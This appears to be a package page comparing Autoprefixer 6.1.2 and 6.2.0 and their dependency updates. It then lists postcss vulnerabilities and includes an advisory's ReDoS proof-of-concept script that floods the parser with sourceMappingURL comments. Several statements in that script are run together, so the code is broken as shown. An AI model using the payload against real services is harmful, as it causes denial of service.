Autoprefixer, a widely used PostCSS plugin that automatically adds vendor prefixes to CSS rules, saw a notable update from version 6.1.2 to 6.2.0. Both versions share the core functionality of leveraging the "Can I Use" database to ensure cross-browser compatibility. However, the update introduces several key changes that developers should consider.
The most significant difference lies in the updated dependencies. Version 6.2.0 upgrades caniuse-db from "^1.0.30000372" to "^1.0.30000377", reflecting the latest browser support data, ensuring a more accurate prefixing process. Furthermore, postcss is updated from "^5.0.12" to "^5.0.13", potentially including bug fixes and performance improvements within the PostCSS ecosystem. There is one more dependency version update, from postcss-value-parser "^3.1.2" to "^3.2.3`, that might improve the CSS parsing stage.
Also, should has been bumped up to 8.0.2 from 7.1.1 and fs-extra from 0.26.2 to 0.26.3.
For developers, these updates translate to better, more reliable, and up-to-date vendor prefixing. Keeping autoprefixer at the latest version ensures that their CSS remains compatible with a wider range of browsers, including recent releases and updates. Upgrading is generally recommended to benefit from the latest browser support data and potential stability improvements in the underlying PostCSS infrastructure.
All the vulnerabilities related to the version 6.2.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.